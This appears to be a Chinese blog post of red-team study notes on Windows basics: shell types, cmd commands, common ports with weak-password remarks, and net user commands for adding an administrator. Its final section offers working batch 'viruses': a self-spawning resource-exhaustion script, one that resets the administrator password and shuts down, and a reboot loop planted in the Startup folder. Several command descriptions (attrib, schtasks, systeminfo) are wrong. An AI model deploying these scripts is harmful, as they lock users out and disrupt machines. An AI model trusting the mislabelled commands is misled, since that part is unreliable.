当前位置: 首页 > article >正文

红队-windows基础篇

声明

通过学习 泷羽sec的个人空间-泷羽sec个人主页-哔哩哔哩视频,做出的文章如涉及侵权马上删除文章

笔记的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负

一.Windows&linux介绍

微软windows操作系统,俗称“Windows”,是由微软开发的一系列操作系统。

Windows在个人电脑领域无处不在,并且通常作为桌面,和服务器端操作系统在企业中部署。

了解Windows的内部工作原理对于任何安全人员是非常重要的,包括后面的内网、域渗透等等。

作为攻击者,通常只获得低权限访问,需要提权获得更高的权限或者进一步渗透网络。这是理解Windows系统基础知识的重要原因之一。

1.文件系统

linux: fhs目录结构,块设备挂载到目录(一切都是文件)

win: 以驱动器盘符起始,或通过目录挂载分区

2.路径格式

linux: /开始,区分大小写 (左斜线)

win: \分隔路径,不区分大小写(右斜线)

3.系统配置

linux: /etc和/proc (存储信息在目录)

win: 注册表 (存储信息在注册表里)

4.windows 四种shell接口

GUI 图形化用户接口,操作简单

        cmd 命令行用户接口,包含一组预定义命令

        wmic 微软基于wbem的实现,从21h1版本已经弃用,被powershell替代了

        powershell 自动化脚本框架,支持.net架构

        wsl 在Windows上运行的子系统

5.cmd内置命令

cd\ (切换到根目录)

help (查看cmd内置命令)

二.windows常用命令

cd     显示当前目录的名称或将其更改


cmd  打开另一个Windows命令解释程序窗口


copy 将至少一个文件复制到另一个位置

del 删除至少一个文件

dir 显示一个目录中的文件和子目录


echo 显示消息,或者将命令回显打开或者关闭

erase 删除一个文件或多个文件

find 在一个或者多个文件中搜索一个文本字符串

findstr 在多个文件中搜字符串

mkdir 创建一个目录

more 逐屏显示输出

move 将一个或者多个文件从一个目录移动到另一个目录

ren 重命名文件命名

rmdir 删除目录

type 显示文本内容

attrib 显示或修改文件扩展名关联

bcdedit 设置启动数据库中的属性以控制启动加载

icls 显示或设置活动代码页

date 显示或设置日期

diskpart 显示或配置磁盘分区属性

doskey 编辑命令行,撤回Windows命令

driverquery 显示当前设备驱动程序状态和属性

fc 比较两个文件集并显示它们之间的不同

for 为一组文件中的每个文件运行一个指定命令

icls 显示或设置文件系统的访问列表 (acl)

chcp 显示或设置活动代码页

comp 比较两个文件的内容

date 显示或设置日期

diskpart 显示或配置磁盘分区属性

doskey 编辑命令行,撤回 Windows 命令

driverquery 显示当前设备驱动程序状态和属性

fsutil 显示或修改文件系统属性

ftype 显示或修改文件类型与应用程序的关联

gpresult 显示计算机或用户的组策略信息

mklink 创建符号链接和硬链接

openfiles 显示远程用户通过文件共享打开的本地文件

path 为可执行文件显示或设置搜索路径

sc 显示或配置服务 (后台进程)

schtasks 安排一台计算机关机时运行任务

shutdown 允许通过本地或远程方式正确关闭计算机

start 启动单独的窗口以运行指定的程序

systeminfo 显示包括服务在内的所有当前运行的任务

tasklist 显示正在运行的进程或应用程序

taskkill 终止正在运行的进程或应用程序

tree 树状图

time 显示或设置系统时间

tracert 网络路径追踪

文件导航系统

1.返回驱动根目录

c:\windows\web>cd\
c:windows\>cd..

2.大小写不敏感

c:\>type"spaces in title.txt"

3.查看系统隐藏文件

c:\users>dir/A

4.搜索文件名

c:\>dir/s flag.txt

5.最近编辑的文件

c:\>dir/tw/od

系统标准目录

.perflogs 储存Windows性能日志

program files 32位系统,储存32位程序,64位 储存64位程序。

program files 64位系统,储存32位版本程序

programdata隐藏目录,包含全局程序数据,所有登录用户都访问这些数据

users 包含用户主目录(登录过的用户)

users\public 用户间共享文件,所有用户都有权访问

users[username]\appdata 隐藏子目录,存储用户应用程序数据和设置

windows\system, system32, syswow64

存储动态链接库文件,windows和api的核心文件
xp, Windows server 2003

c:\documents and settings 早期一些xp系统的Windows主目录

系统以及环境

系统信息查询可视化

systeminfo

msinfo32

环境变量

c:>echo %username%

c:>echo %path%

c:>echo %username%

c:>echo %temp%

c:>echo %userprofile%

c:>set 当前命令行下的环境变量列出

查看名称以p开头的变量

set p

永久修改环境变量

setx var1 brand1 setx /s host1 /u domain\user /p pass var1 brand1 setx /s hopst1 /u domain\user /p pass mypath %path%

变量位于

hkey_current_user\environment

三.常见的端口及其服务

21 ftp [一般存在缓存溢出]

23 telnet [通过远程连接工具进行弱口令的爆破]

80 web

80-89 可能是web

443 ssl心脏滴血漏洞以及一些web漏洞测试

445 smb

1433 mssql 数据库

1521 oracle 数据库

2082/2083 cpanel 主机管理系统登陆(国外用的较多)

2222 da虚拟主机管理系统登陆(国外较多)

3128 squid代理默认端口-漫游内网

3306 mysql

3312/3311 kangle主机管理系统登陆

3389 远程桌面

5432 postgresql 数据库

5900 vnc (shodan 演示过了)

6379 redis(同vnc也有未授权)

7001,7002 weblogic 默认弱口令,反序列化

7778 kloxo 主机控制面板登录

8000-9090 一些常见的web端口,有些运维喜欢把管理后台开在这些非80端口上面

8080 tomcat、wdcp主机管理系统,默认弱口令

8080, 8089, 9090 jboss

8083 vestacp 主机管理系统(国外较多)

8649 ganglia

8888 宝塔 主机管理默认端口

10000 virtuamin/webmin 服务器虚拟主机管理系统

11211 memcache 未授权访问

27017, 27018 mongodb 未授权访问(shodan讲过)

28017 mongodb 统计系统页面

四.常用的cmd命令

1.echo

        echo /? (查看echo的帮助提示)

        echo 1 (输出1)

        echo 1 > 1.txt (输出1并重定向到1.txt文件)

        echo 456789 >> 1.txt (把内容追加到1.txt文件)

如果在用,它就会把文件覆盖掉。

中文意思就是输出的意思。

2.dir (展示当前目录的文件)

3.d: c: 等和cd

        d: (切换到d盘)

        cd . (进入当前目录)

        cd .. (回退到上一级目录)

        cd 文件夹

        cd desktop (切换到桌面)

4.tree (文件树状图)

        tree /? (查看帮助文档)

        /f (显示每个文件夹中的名称)

        数据太多了

        /a (使用ascii字符,而不使用扩展字符)

        tree C:\Users\Administrator /f

        tree C:\Users\Administrator /a

(在渗透测试中比较常用)

都是这玩意:

5.md创建目录和rd删除目录

md是mkdir的缩写(二者作用一致)

md kkk (在当前目录创建名为kkk的文件夹)

rd kkk (删除kkk文件夹)

tab补全功能 例如 rd k(tab) 就可以进行文件名补全

6.ipconfig (显示当前的网络状态 IP配置 一般用这个命令查看网络本机IP地址,排查网络问题)

ipconfig /all(把所有本机的网络信息打印出来)

7.cls (清屏)

8.copy (复制拼接文件)

copy /? (查看帮助文档)

copy 1.txt ..\1.txt (把文件1.txt复制到上一级目录)

先利用刚刚学的 cd .. 回退到上一级目录 再利用dir命令查看文件

copy 1.txt desktop\2.txt (把admin文件夹中的1.txt复制到桌面并重命名为2.txt)

再说一个copy命令的使用方法 先echo 123 >1.txt 再echo 456 > 2.txt 然后利用copy 命令 copy 1.txt+2.txt  3.txt

(把1.txt的内容和2.txt的内容拼接起来 并重定向到3.txt并改名为3.txt)

9.move (文件移动)

move ..\1.txt 4.txt (把上一级目录中的1.txt移动到本级目录并且重命名为4.txt)

(有人说哎 刚刚copy也有这个操作 为啥不用copy,因为copy是复制原文件还存在,move是移动,移动了以后上一级目录就不存在我们所移动的文件了)

10.ren (重命名)

ren 4.txt 5.txt (把4.txt重命名为5.txt)


11.del (删除)

del 1.txt 2.txt 3.txt (删除1、2、3.txt文件)
这个命令所删除的文件是永久删除的不会进入回收站


12.ping (一般用于探测主机ip是否存活)

ping ? (查看命令帮助文档)
-t (一直ping)


13.type (显示文本文件的内容)

首先用echo dhaodaodjaodjoadjaodjao >> 1.txt
type 1.txt (查看文件内容)


14.reg (注册表)

reg /? (查看帮助文档) 

Windows中使用reg命令编辑注册表_添加注册表项 (.reg)-CSDN博客


15.nslookup (探测域名信息)

nslookup www.baidu.com


nslookup -d www.baidu.com (查看历史解析记录)


16.find (查找)

find /? 查看帮助文档


先在1.txt里面输入各种字符串,find "a" 1.txt (在1.txt中查找带a的字段)


find /n "a" 1.txt (查找a参数的字段并排序行号)

type与find结合使用 使用 type 1.txt | find "a" (查看1.txt的内容并输出带有a参数的字段)

type 1.txt | find "a" /n (查看1.txt的内容并输出带有a参数的字段并排序行号)

17.tasklist(任务列表 显示出当前的进程名称等信息)

18.taskkill (杀死进程)

taskkill /? (查看帮助文档)

常用一般是-pid和-f -t

演示一下首先 calc(计算器) 开启一个进程

先用tasklist 查看进程 teskkill /pid 2824 杀死进程可以看见计算器以被杀死

假如遇见杀不掉的进程加一个 /f 参数即可

19.ver, winver (显示版本)

20.start (启动 开始命令)

例如 start cmd(打开cmd)

start calc (开启计算器)

start ping www.baidu.com -t(启动ping 并执行-t参数)

21.systeminfo (查看整个系统的信息)

查看一些比较重要的信息 比如说补丁信息,后期我们提权就是针对一些不同的修补程序进行一个提权,例如它少打了哪些补丁我们就利用少打的补丁进行提权。(溢出系统提权)

22.logoff(注销)

先logoff /?(查看帮助文档)

logoff(注销,后期提权成功的情况下要远程登陆3389桌面的话,有可能有的机器是链接状态 我们可以利用这个命令把对方的远程登陆注销掉)

当然了这个比较暴力 也有不用这个命令也可以挤掉对方

23.shutdown(关机)/s /f /t /a /r /g /l

shutdown /?(查看帮助文档)

它的参数很多

shutdown /s(在一分钟内关机)

shutdown /a(计划取消)

shutdown /r(重启)

shutdown /g(在一分钟内关机)

shutdown /r /t 0(-t设置时间 设置为0立即执行)

shutdown /s /t 0

shutdown -a 终止进程

24.telnet(协议工具)

控制面板→程序→打开或关闭Windows功能→telnet 客户端勾选

telnet(之前在shodan中 思科的设备就是基于这个)

25.arp(自己ip和物理机的映射关系表表)

arp /?(查看帮助文档)

arp -a(假设你以后拿到了一台内网机器你通过这条命令可以查看当前内网有哪些主机以便于横向移动,用于发现同一网络有哪些主机)

26.at(定时任务)

例如我要定时关机 at 时间 "shutdown(关机)/r /t 0"

取消命令 at 1 /delete

27.net(服务)

net stop telent(关闭telent)

net start telnet(打开telent) net user(查看当前用户) net user admin 123 /add(添加用户名admin 密码123的用户) net user admin(查看admin用户权限) net localgroup administrator admin /add(授权) net user admin(删除用户)

五.实战cmd 编写bat病毒

1.耗尽资源的bat病毒

echo start cmd > 1.txt

echo %0 >>  1.txt

ren 1.txt 1.bat

2.锁机病毒

echo net user administrator 123456 > c:\windows\Temp\1.bat
echo shutdown /s /t 0 >> c:\windows\Temp\1.bat

3.无限重启病毒

echo shutdown /s /t 0 > c:\windows\Temp\1.bat
copy c:\windows\Temp\1.bat "%USERPROFILE%\AppData\Roaming\Microsoft\windows\Start\Menu\Programs\Startup\"

4.windows 系统目录接管与渗透的关系

"%USERPROFILE%\AppData\Roaming\Microsoft\windows\StartMenu\Programs\Startup" (开机自启目录)

c:\windows\Temp\1.bat (重启自动清空缓存)


http://www.kler.cn/a/376514.html

相关文章:

  • ​U盘在电脑上不显示或是弹出格式化磁盘?你一定要试试这些解决方法!
  • 学点高数-数学上的集合③-集合的基本运算
  • Java中I/O系统中的装饰器
  • Python工具箱系列(五十七)
  • SpringBoot【实用篇】- 配置高级
  • 直流电机在液压泵领域的应用
  • 基于uniapp微信小程序的校园二手书交易系统
  • jsp页面使用jQuery 给java后端传送数组怎么传送,
  • 数字马力二面面试总结
  • linux驱动—input输入子系统
  • 稀疏检索器除了 TF-IDF、BM25 算法外
  • django请求与响应
  • pdf怎么转换成ppt?有详细的步骤
  • 如何为STM32的串口编写中断程序
  • 491.递增子序列
  • Android各种调试命令
  • 2、片元着色器之有向距离场(SDF)运算:并集、差集、交集
  • go语言中interface之间嵌入与struct之间的嵌入实现多态
  • aws boto3 下载文件
  • 螺旋式开发是不是就是敏捷开发?
  • Jenkins面试整理-如何在 Jenkins 中进行并行构建?
  • 手把手写Linux第一个小程序 - 进度条(5种版本)
  • OpenSSH用户枚举漏洞修复——ubuntu升级ssh版本
  • 线程函数和线程启动的几种不同形式
  • 掌握ElasticSearch(七):相关性评分
  • Axios-Mock-Adapter mock数据